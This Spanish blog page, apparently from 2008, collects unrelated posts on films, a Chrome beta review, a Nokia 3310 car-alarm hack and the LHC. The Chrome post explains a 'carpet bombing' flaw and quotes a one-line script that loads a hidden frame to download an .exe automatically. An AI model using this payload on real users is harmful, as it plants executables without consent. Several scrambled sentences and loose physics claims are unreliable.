Creando los autos de Fast Furious

Primero tenemos al Mitsubishi Eclipse una maravilla de auto:



Y ahora el Toyota Supra q es otro de los preciosos carros de esta gran pelicula:

Matrix fue la pelicula que inspiró a muchos Hackers

¿Quien no recuerda a Matrix? una película que inspiró a muchos hackers y que hoy se han convertido en jefes de seguridad informática. www.Hack-Lover.Blogspot.com les trae un extracto de una de las películas vista por muchos jóvenes aficionados al mundo de la informatica.

Nuevo Navegador Google Chrome Beta

Cuando no han pasado ni 24 horas desde que Google presentó su navegador web Google Chrome, ya se ha reportado la primera vulnerabilidad. Google Chrome es propenso al mismo problema que Safari hace unos meses, al “carpet bombing“, una vulnerabilidad llamada así por el investigador Aviv Raff que puede ser utilizada para descargar automáticamente archivos cuando el usuario navega por una página maliciosa. Raff ha publicado una prueba de concepto en la que se demuestra que los usuarios de Chrome pueden ser engañados para descargar y ejecutar archivos JAR sin ninguna advertencia de la aplicación, para ello se aprovecha de un fallo en el Webkit y un error de Java. Para que el exploit tenga éxito tan sólo se requiere que la víctima haga dos clic, lo cual se puede lograr con un poco de ingeniería social. Google Chrome está basado en Webkit, el problema es que el navegador de Google utiliza una versión anterior de este motor que es vulnerable. Por ahora la compañía del popular buscador no ha comentado nada al respecto, pero esperemos que pronto se publique una actualización.

Ahora podemos hablar de otra vulnerabilidad que han discutido mucho en la lista de full disclosure, se supone que una funcion importante de este navegador es que si crashea solo crashea una pestania.. bueno si ustedes escriben o visitan un link que contenga :% (dos puntos porciento) crashearan todas las tabs.
(fuente: http://evilfingers.com/advisory/google_chrome_poc.php)

Si entran con Chrome a la direccion de Aviv Raff del CarpetBombing:
http://raffon.net/research/google/chrome/carpet.html
Les creara un .JAR en su escritorio (o directorio de downloads default) el JAR es un Notepad en Java, pero podria ser cualquier cosa.

Se publico hace poco una variacion de este ataque que permite la descarga automatica de cualquier archivo pueden encontrar la info en http://milw0rm.com/exploits/6355 el codigo es el siguiente:


document.write('< src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

A pesar de los bug que pudiera tener lo analizamos bien y podemos decir que lo primero que notamos al abrirlo es su diseño minimalista. Bien por Google. Chrome es para navegar por Internet, no necesita tener un aspecto espectacular, ni efectos raros que consumen demasiados recursos al ordenador entorpeciendo su rendimiento. No obstante, el aspecto es más que suficiente.

Chrome lo muestra todo en una sola pantalla: búsqueda web (con Google, claro), historial, barra direcciones, etc. Además, la carga de páginas es mucho más rápida que con otros navegadores. Nosotros lo hemos comprobado, pero algunas webs lo han constatado gráficamente. Especialmente destaca en la ejecución de JavaScripts, es mucho más velozversión beta 8), Firefox 3 o Safari 3. que otros como Explorer (incluyendo su última

La navegación se hace por pestañas, como casi todos los actuales, pero aquí cada una es un proceso independiente. De esta forma, si una se bloquea, se puede cerrar sólo esta pestaña sin afectar al navegador al completo.

Por si fuera poco, es multiproceso, es decir, cada pestaña trabaja de manera independiente, agilizando la carga de las páginas sin estar afectadas por el resto. Así, se puede ver un vídeo en Youtube en una pestaña, mientras en otra se carga otra página, a la vez que nos bajamos un fichero. Todo esto sin que una tarea interfiera en la otra, ganando así mayor velocidad y estabilidad.

En este sentido es muy interesante el Gestor de tareas que incorpora Chrome. Se abre presionando Mayúsculas+Escape En él se puede ver lo que está consumiendo cada pestaña y determinados elementos de las webs, de forma que en un momento dado podemos finalizar el proceso que ralentice nuestra máquina.

El sistema de Favoritos y el Historial es prácticamente el mismo que el que utiliza Firefox por lo que los usuarios de éste estarán familiarizados con el funcionamiento. Los favoritos están en la parte derecha de la barra de marcadores. Se puede ocultar pulsando Ctrl+B. Al historial se accede mediante la combinación de teclas Ctrl+H.

El tema de la seguridad está muy cuidado. Primero, Chrome descarga periódicamente un par de listas negras (de phishing y spam) y avisa si las detecta mientras navegamos. Además, cada pestaña está preparada para impedir la instalación de software sin permiso del usuario (sandboxing). Por último tenemos el modo Incognito, que permite navegar, desde una pestaña, por Internet con la total seguridad de que no se registran nuestras actividades ni tampoco acepta cookies.

Sobre la compatibilidad con los estándares web, malas noticias. De momento esta versión beta no supera el test Acid3, uno de los más usados para analizar estos temas, aunque es cierto que su puntuación supera la de otros como Firefox 3 y IE 7.

Esta versión no tiene aún plugins, pero los tendrá. Es de esperar que siga la línea de Firefox, con plugins de la compañía y otros realizados por particulares pero supervisados.

No hay todavía disponible versión para Linux y Mac OS X, pero Google ya ha anunciado que está trabajando en ello y saldrán, aunque no ha querido mencionar ninguna fecha.

Como conclusión, estamos ante un navegador con un futuro muy prometedor, y que va a poner en serios apuros a los dos grandes: MS Internet Explorer y Mozilla Firefox. Chrome apuesta por la velocidad y estabilidad en la navegación y ha sabido coger lo mejor de la competencia y mejorarlo sin introducir demasiados cambios de navegación reduciendo así el esfuerzo de aprendizaje del usuario.

INTEL ya tiene su moto

Hola muchachos les comento que INTEL ya a mandado a crear su propia moto con la mas alta tecnologia en motos, cuenta con 4 pistones que son dos motores que funcionan separadamente pero te hacen correr como uno solo, de igual manera dos carburadores y todo esto con una simbologia al CORE 2 DUO además cuenta con una computadora para encederla que sólamente lo puede hacer el dueño ya que cuenta con un sistema donde la llave de ensendido es la huella digital del propietario. así mismo la velocidad la temperatura es graficada en una pantalla LCD delante del piloto, realmente una maravilla. pueden verla aqui junto con sus creadores muy conocidos.

Alarma para tu vehiculo con un Nokia 3310

Este brico es para la gente que deja el coche o vehiculo en los alrededores de pubs o discotecas los findes. Tengas o no alarma te vale este "inventillo" (con alarma sería más efectivo).
Yo voy a explicarlo rapidamente para un vehiculo que no tenga alarma. El objetivo es que el vehiculo "te llame" si abren una de las puertas del coche. Como sabeis, la luz de cortesía del coche se puede poner en 3 posiciones, pues la que debemos poner es la que enciende las luces cuando se abren las puertas, ya que será el que activará el movil que llevaremos en el maletero. Si tienes doble cierre puesto no te podran abrir las puertas por lo que esto no valdrá a no ser que tengas alarma y la conectes al rele que activa el movil.

Los materiales que necesitamos son:
- Móvil que permita rellamada y marcación rápida. Yo lo explicaré para un Nokia 3310 (uno que tenía por ahi sin usar). Si tienes uno y no te vale porque esta sin liberar, mandame un sms y te lo intentare liberar por IMEI Gratis.- Tarjeta prepago con saldo, a poder ser con el saldo suficiente para que no salgan diciendo el mensaje que no tienes saldo.- Cables y conectores.- Relé pequeño, yo usaré lo más chico que he encontrado, rele 12v y 10A, 4,5€ mas o menos.- Soldador de estaño y estaño.

Con todo eso podremos montar una mini alarma que no sonará, pero que te avisará que han abierto tu coche, o sea, muy mala señal si tu no estas delante del coche.
EXPLICACION: Lo único que haremos es un mecanismo mediante relé a la luz de cortesia que simule la pulsación de una tecla del telefono, la cual active la marcación rápida y llame al nº que tenga asignado esa tecla. PROBADO!.

1.- Tirar un cable doble desde la luz de cortesia al maletero (SIN QUE SE VEA).2.- Conectar el cable de la luz de cortesia al rele.3.- Quitamos las carcasas al movil y los 6 tornillos q tiene en el lado de la pantalla, con eso podremos quitar el display completo y veremos la placa de telefono. La placa del telefono tiene la parte del teclado formada por conjuntos de circulo-punto que son las teclas del telefono. Elegimos la tecla que querramos activar (ejemplo, el 4) y le soldamos un cable al circulo y otro al punto que esta dentro del circulo, con esto conseguiremos activar la tecla si juntamos los cables, o sea, si cerramos el circuito. (POR AHI SALDRA UNA FOTO CON EL CABLE SOLDADO A LA PLACA DE TELEFONO EN LA TECLA *, me equivoqué... jeje, y la tube q cambiar!!)4.- Ahora tapamos el punto metálico (plastico blanco que está detras del display) del display con cinta aislante para que no haga contacto con los cables que acabamos de soldar.5.- Atornillamos de nuevo el display, con cuidado y colocando el cable que sobresale.6.- Montamos teclado y carcasas.7.- Activamos la marcación rápida y la rellamada automática y asignas tu número de telefono a la tecla donde hemos doldado los cables. Puedes usar cualquier tecla desde la 2 a la 9.8.- Conectamos los cables que hemos soldado en el telefono a la otra parte del relé. Y YA ESTA! ATENCIÓN: Para que funcione todo bien, el telefono tiene que estar con el teclado desbloqueado!.

FUNCIONAMIENTO: Al abrir una puerta se encenderá la luz de cortesia y a su vez el relé cerrará el circuito de la tecla elegida en la placa del telefono, que simulará la pulsación prolongada en el telefono que activará la marcación rapida y llamará a tu número de movil, alertandote que alguien ha abierto tu coche.
Sencillo y muy útil.

Si también quieres que se cargue la bateria del movil puedes soldar un par de cables en las dos chapitas de cobre que tiene el telefono al lado del conector de carga del cargador de red que suministra nokia y lo conectais a una toma de 5v.

En los proximos dias se activará el LHC

En los proximos dias se activará el LHC que es el acelerador de partículas más grande del mundo. El nuevo acelerador funcionará a 271 grados centígrados bajo cero y usa el túnel de 27 km de circunferencia creado para el Gran Colisionador de Electrones y Positrones (LEP en inglés). A diferencia del acelerador primeramente concebido, en el nuevo colisionarán protones (un tipo de hadrón) en vez de electrones y positrones (leptones).

La principal meta de su rediseño es encontrar la evasiva particula másica conocida como el bosón de Higgs (a menudo llamada "la partícula de Dios"). La observación científica de éste podría explicar cómo el resto de partículas elementales ganan la masa que explica la teoría de la relatividad especial y rellenar el ansiado hueco libre en el Modelo estándar.

El LHC es un proyecto de tamaño inmenso y una enorme, y potencialmente peligrosa, tarea de ingeniería. Mientras esté encendido, la energía total almacenada en los imanes es 10 gigajuliosmegajulios. La pérdida de sólo un 10-7 en el haz es suficiente para iniciar un 'quench' (un fenómeno cuántico en el que una parte del superconductor puede perder la superconductividad). En este momento, toda la energía del haz puede disiparse en ese punto, lo que es equivalente a una explosión. y en el haz 725

El 25 de octubre de 2005, un técnico murió en un accidente en el túnel del LHC cuando una carga cayó sobre él accidentalmente.

El 9 de abril de 2007, un error matemático en el diseño de los imanes y de las sujeciones por parte del laboratorio Fermilab provocó una explosión que obligó a cambiar o reparar los 24 imanes que rodean el Gran Colisionador de Hadrones.

Desde que se proyectó el Gran Colisionador Relativista de Iones (RHIC), dentro y fuera de la comunidad científica se han escuchado voces de alarma sobre la posibilidad de que el funcionamiento del LHC desencadene procesos que, teóricamente, serían capaces de provocar la destrucción de la Tierra o incluso del Universo.

Estos posibles procesos catastróficos son:

* La creación de un agujero negro estable
* La creación de materia exótica supermasiva, tan estable como la materia ordinaria.
* La creación de monopolos magnéticos (previstos en la teoría de la relatividad) que pudieran catalizar el decaimiento del protón
* La activación de la transición a un estado de vacío cuántico.

A este respecto, el CERN ha realizado estudios sobre la posibilidad de que se produzcan acontecimientos desastrosos como microagujeros negros, redes, o disfunciones magnéticas. Radiación de Hawking, sin daño para las instalaciones. Sin embargo, no hay unanimidad en la comunidad científica sobre la exactitud de la teoría de Stephen Hawking.

Viaje a Huancaya 2008 2da parte

Aqui esta la segunda parte del viaje a Huancaya con la gente del Club Niva sino pudieron ver la 1era parte aqui les dejo el link
Pero ahora disfruten la segunda parte del Increible viaje a Huancaya.